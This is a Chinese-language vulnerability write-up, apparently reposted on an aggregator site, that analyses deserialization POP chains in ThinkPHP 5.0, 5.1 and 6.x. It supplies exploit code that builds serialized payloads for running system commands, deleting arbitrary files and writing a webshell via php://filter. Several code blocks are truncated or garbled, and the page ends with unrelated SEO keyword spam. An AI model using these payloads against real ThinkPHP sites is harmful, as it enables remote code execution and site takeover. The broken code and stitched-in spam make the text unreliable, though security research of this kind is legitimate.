千家信息网

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,这篇文章给大家介绍Thinkphp5.0、5.1、6.x反序列化的漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。命名空间命名空间的声明可避免类或函数名重复导致的各种问题。
千家信息网最后更新 2025年02月23日Thinkphp5.0、5.1、6.x反序列化的漏洞分析

这篇文章给大家介绍Thinkphp5.0、5.1、6.x反序列化的漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

命名空间

命名空间的声明可避免类或函数名重复导致的各种问题。使用namespace可以声明、切换命名空间。

/*运行结果 *当前命名空间first *当前命名空间second */

在不同命名空间内可以定义同名类,有多个命名空间时,默认为最后一次声明的空间.若要使用其他命名空间的类,则需要在类前加入命名空间,直接使用其他命名空间的类会出错

TPv5.1 漏洞

Thinkphp v5.1.39LTS

POP链为:Windows::__destruct --> Pivot::__toString --> Request::__call -->Request::isAjax --> Request::param --> Request::input --> Request::filterValue -->call_user_func,

Windows类thinkphp/library/think/process/pipes/Windows.php

跟踪removeFiles()

该函数功能,遍历Windows->files属性,若存在该属性指定的文件,则删除。$this->files完全可控,故可删除任意文件,例如

files = ["D://del.txt"];        }}echo urlencode(serialize(New Windows()))."\n";?>//运行结果//O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22think%5Cprocess%5Cpipes%5CWindowsfiles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A11%3A%22D%3A%2F%2Fdel.txt%22%3B%7D%7D

removeFiles函数第163行,以file_exist函数处理$filename,file_exist函数会将参数当作字符串处理,倘若使得$filename为一个拥有__toString方法的对象则可触发__toString方法。

Pivot类的__toString方法来自父类Model,而Model的__toString方法则来自trait类Conversion

Conversion类__toString链如下

toArray代码过长,截取有用部分如下

其间$relation变量来自$this->data[$name],而$name变量则来自$this->append,此两者皆可控。若使得$relation为拥有可利用visible方法或者不拥有visible方法但拥有可利用__call方法的对象,则可进入下一步利用。

__call这里找到Request类,如下

由于$this->hook可控,我们可以轻易执行到call_user_func_array.但又由于代码330行array_unshift的存在,使得Request对象被放置到$args的首位,导致我们无法在此处执行任意代码(因为参数不可控),故需要再次寻找第一个参数不太影响结果的函数构造可利用链。

这里找到Request::isAjax,并跟踪

跟踪input

$name来自config['var_ajax'],可控,$data来自$this->param,也可控.

跟踪filterValue,其间执行了call_user_func($filter, $value)

$value来自input中的$data,故最终来自$this->param,$filter在调用getFilter函数后获得

其间$this->filter可控,故$filter可控。由于$filter,$value皆可控,故可执行任意代码,再回看一次pop链

Windows::__destruct --> Pivot::__toString --> Request::__call -->Request::isAjax --> Request::param --> Request::input --> Request::filterValue -->call_user_func

exp

倘若要执行system('id'),则需要控制变量为以下值

Request->filter = "system";Request->param = array('id');Request->hook['visible'] = [$this,"isAjax"];Request->config['var_ajax'] = '';Pivot->data = ["azhe" => new Request()];Pivot->append = ["azhe" => ["4ut","15m"]];Windows->files = [new Pivot()];---exp---data = ["azhe" => new Request()];                $this->append = ["azhe" => ["4ut","15m"]];        }}class Request{        protected $config = [        // 表单请求类型伪装变量        'var_method'       => '_method',        // 表单ajax伪装变量        'var_ajax'         => '_ajax',        // 表单pjax伪装变量        'var_pjax'         => '_pjax',        // PATHINFO变量名 用于兼容模式        'var_pathinfo'     => 's',        // 兼容PATH_INFO获取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],        // 默认全局过滤方法 用逗号分隔多个        'default_filter'   => '',        // 域名根,如thinkphp.cn        'url_domain_root'  => '',        // HTTPS代理标识        'https_agent_name' => '',        // IP代理获取标识        'http_agent_ip'    => 'HTTP_X_REAL_IP',        // URL伪静态后缀        'url_html_suffix'  => 'html',    ];    protected $param = [];    protected $hook = [];    protected $filter;    public function __construct(){            $this->filter = "system";            $this->hook = ["visible" => [$this, "isAjax"]];            $this->param = array('id');                        //可以在这里写定命令,也可不在此设定,param函数会通过提交的参数来更新该值,故也可直接在地址栏提交任意参数执行命令        $this->config['var_ajax'] = '';    }}namespace think\process\pipes;use think\Model\Pivot;class Windows{        private $files ;    public function __construct(){        $this->files = [new Pivot()];    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo urlencode(serialize(new Windows()))."\n";?>

TPv6.x 漏洞

POP链Model->__destruct() --> Model->save() --> Model->updateData() --> Model->checkAllowFields() --> Conversion->__toString() --> Conversion->toJson() --> Conversion->toArray() --> Attribute->getAttr() --> Attribute->getValue()

先看反序列化起点Model->__destruct()

$this->lazySave == true时调用save,跟踪如下

要想调用updateData,需要绕过第一个if并且$this->exists == true

if的绕过需要使isEmpty()返回false并且trigger()返回true

跟踪isEmpty(),当$this->data不为空时返回false

跟踪trigger(),当$this->withEvent == false时trigger()返回true.(PS:trigger()所属类为ModelEvent)

绕过后,跟踪updateData().

要想调用checkAllowFields需要绕过第二个if.跟踪getChangedData()查看$data的获取

$this->force == true时,$data可控并且就为$this->data的值

跟踪checkAllowFields().这里已经可以看到一个__toString触发点,除了这一个触发点,还有一个触发点就是db()

跟踪db().进行字符串拼接处即是触发点。只要使$this->table、$this->name或$this->suffix为拥有__toString方法的对象即可。

要想执行到触发点,需要绕过updateData的第2个和第3个if,也即是$this->field(默认为空)与$this->schema(默认为空)为空

以上即是__destruct链,总结一下需要设置的属性如下

Model->lazySave = true;Model->exists = true;Model->withEvent = falseModel->force = true;Model->data不为空Model->name(或table、suffix)为某对象

下面看__toString

Conversion->__toString

跟踪toArray()

要调用getAttr()首先需要绕过if.

$data来自$this->data$this->relation,当$datavalue不是Model或ModelCollection实例时即可通过第一个if,若设置$this->visible则在173行调用getAttr,不设置则在175行调用,没有影响.

跟进getAttr()

调用getData获取到$value,跟进

跟进getRealFieldName()

$this->strict == true(默认也为true)时,返回$name(name即是$this->data的key).也即是$fieldName终值为$this->data的key.

代码279行的if,当$this->data中存在$fieldName键时,返回对应键的值。故$value最终值为$this->data[$fieldName]

跟进getValue()

代码第496行,$closure完全可控,第497行触发rce.

先看调用getValue()传入的参数,$name、$value、$relation,这三者分别为$this->data的key,$this->data的value,false

因为$this->withAttr[$fieldName]可控并且$relation == false,故程序会执行到497行。

以上则为__toString链,总结需要设置的内容如下

$this->data = array('azhe'=>'whoami');$this->withAttr = array('azhe'=>[])Conversion类为trait类,需要寻找使用了它的类,这里可以用Pivot类上下文总结如下$Model->lasySave = true;$Model->exists = true;$Model->withEvent = false;$Model->force = true;$Model->name = new Pivot();$Model->data = array('azhe'=>'whoami');$Model->withAttr = array('azhe'=>'system');

exp

__destruct() *Model->save() *Model->updateData() *Model->checkAllowFields() *Conversion->__toString() *Conversion->toJson() *Conversion->toArray() *Conversion->getAttr() *Conversion->getValue() */namespace think;abstract class Model{        private $exists;        private $force;        private $lazySave;        protected $name;        protected $withEvent;        private $data;    private $withAttr;        public function __construct($obj = null,$cmd = ''){                $this->lazySave = true;                $this->exists = true;                $this->withEvent = false;                $this->force = true;                $this->name = $obj;                $this->data = array('azhe'=>"${cmd}");            $this->withAttr = array('azhe'=>'system');        }}namespace think\model;use think\Model;class Pivot extends Model{}$a = new Pivot();$b = new Pivot($a,$argv[1]);echo urlencode(serialize($b))."\n";?>

TPv5.0 漏洞

POP链Windows->__destruct() --> Windows->removeFiles() --> Model->__toString --> Model->toJson() --> Model->toArray() --> Output->__call --> Output->block --> Output->writeln --> Output->write --> Memcache->write --> File->set

首先看__destruct链,thinkphp/library/think/process/pipes/Windows.php:56

跟进removeFiles(),这里与TPv5.1相同,也存在任意文件删除,不再演示

再看__toString链,thinkphp/library/think/Model.php:2265

跟进toJson()

跟进toArray(),代码过多,截取关键部分

倘若$value可控,则可在此处触发__call

因为$this->append可控,所以$name可控,当$name不为数组,并且不含有.时,代码进入899行,跟进Loader::parseName();

$relation可控为第一个字母小写的任意字符串

代码第900-901行,我们可以调用该类(Model)的任意方法,并且将结果赋予$modelRelation

先跟进getRelationData()

跟进isSelfRelation()

跟进getModel(),这个getModel是Relation的类方法

它的getModel又调用了$this->query的getModel,因为$this->query可控,故全局搜索getModel(),发现两个简单易用的getModel

这两个getModel都是直接返回对象的$this->model,故$modelRelation->getModel()可控

可以发现,$this->parent可控,倘若$modelRelation也可控,那么$value就可控。回看$modelRelation,它为我们调用的、任一Model方法的返回值,查看Model类的方法,找到一简单可控的方法getError()

再往下看

$modelRelation需要存在getBindAttr方法,全局搜索发现只有抽象类OneToOne存在该方法,并且该类也是Relation的子类。从这里看,我们需要让$modelRelation为OneToOne的子类.再往下看,$bindAttr可控

到这,已经可以随便控制$bindAttr使代码执行到912行了。

912行,可以这样看

$item[$bindAttr的key] = $this->parent ? $this->parent->getAttr($bindAttr[key]) : null,$bindAttr$this->parent皆可控

OneToOne的子类如下,$modelRelation可以任选其一

由于我们要使用Output类的__call方法,故需要使$this->parent为Output对象

__toString链需要构造以下内容

Model->append = array('4ut15m'=>'getError');Model->error = new BelongsTo();       //或者HasOneModel->parent = new Output();OneToOne->selfRelation = false;OneToOne->query = new ModelNotFoundException();OneToOne->bindAttr = array('4ut15m');ModelNotFoundException->model = new Output();

再看__call链,thinkphp/library/think/console/Output.php:208

代码212行,调用当前对象的block方法,跟进block()

跟进writeln()

$this->handle可控,全局搜索write方法,找到 Memcache::write

其中$this->handler$this->config都可控

全局搜索set方法,发现File::set

因为$this->options可控,故$expire可控,$nameMemcache->config相关,半可控,跟进getCacheKey()

至此$filename路径可控,$name为可以确定的md5值

写入文件的内容$data$value$expire组成,追溯前者其不可控,值为true。后者则由于格式化输出的原因无法控制。跟进setTagItem()

代码在200行又调用了set方法,并且写入内容$value为传入的参数$name也即是前文的$filename,路径部分可控。这里可以通过php伪协议php://write写入shell,如下

php://filter/write=string.rot13/resource=

__call链需要构造以下内容

Output->styles = ['getAttr'];Output->handle = new Memcache();Memcache->handler = new File();File->options = ['expire'        => 0,                'cache_subdir'  => false,     //设置为false可控制写入的文件在默认路径下                'prefix'        => '',                'path'          => 'php://filter/write=string.rot13/resource=',                'data_compress' => false];

exp

files = array(new Pivot());            }}namespace think\model;use think\model\relation\BelongsTo;use think\console\Output;//Pivot类class Pivot {        public $parent;            protected $error;        protected $append;                public function __construct(){                $this->append = array('4ut15m' => 'getError');                $this->error = new BelongsTo();                               $this->parent = new Output();         }}namespace think\model\relation;use think\db\exception\ModelNotFoundException;//BelongsTo类class BelongsTo {        protected $parent;        protected $query;        protected $selfRelation;        protected $bindAttr;        public function __construct(){                $this->selfRelation = false;                $this->query = new ModelNotFoundException();                          $this->bindAttr = array('4ut15m');        }}namespace think\console;use think\session\driver\Memcache;//Output类class Output{        private $handle;    protected $styles;        public function __construct(){                $this->styles = ['getAttr'];                $this->handle = new Memcache();               }}namespace think\db\exception;use think\console\Output;//ModelNotFoundException类class ModelNotFoundException{        protected $model ;        public function __construct(){                $this->model = new Output();          }}namespace think\session\driver;use think\cache\driver\File;//Memcache类class Memcache{        protected $handler;        public function __construct(){                $this->handler = new File();        }}namespace think\cache\driver;use think\cache\Driver;//File类class File {        protected $tag;        protected $options;        public function __construct(){                $this->tag = '4ut15m';                $this->options = [                'expire'        => 0,                'cache_subdir'  => false,                'prefix'        => '',                'path'          => 'php://filter/write=string.rot13/resource=',                'data_compress' => false,            ];        }}use think\process\pipes\Windows;$windows = new Windows();echo urlencode(serialize($windows))."\n";?>

关于Thinkphp5.0、5.1、6.x反序列化的漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

方法 代码 跟踪 空间 函数 对象 内容 参数 变量 漏洞 全局 文件 结果 控制 搜索 序列 子类 字符 字符串 属性 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 崩溃大陆在线服务器怎么进 河南工业服务器 vue初始化数据库 更换网站和服务器 怎样关闭服务器 增强安全 特殊办公室网络安全有哪方面 公安深入校园网络安全宣传 一线软件开发教学视频 新型网络安全与勒索 服务器主板电池哪里有卖的 广东专业服务器机柜 广东哪些城市软件开发发达 初学数据库什么书好 手机老是网络连接不到服务器 北京停车系统软件开发价位 中级软考数据库2021答案 金山文档自动储存在自己服务器 网络安全教育征文比赛 厦门勇仕网络技术股 服务器管理员能关服务器吗 什么单位需要网络安全研究生 湖南网络技术科技有限公司 在软件开发中 ()不能用来 网络技术人员属于哪种工种 cs架构数据库安全问题 无法连接到服务器1104 在文件夹里建立数据库文件 我的世界中国年服务器地址是什么 dede后台数据库 湖南软件开发优惠政策
0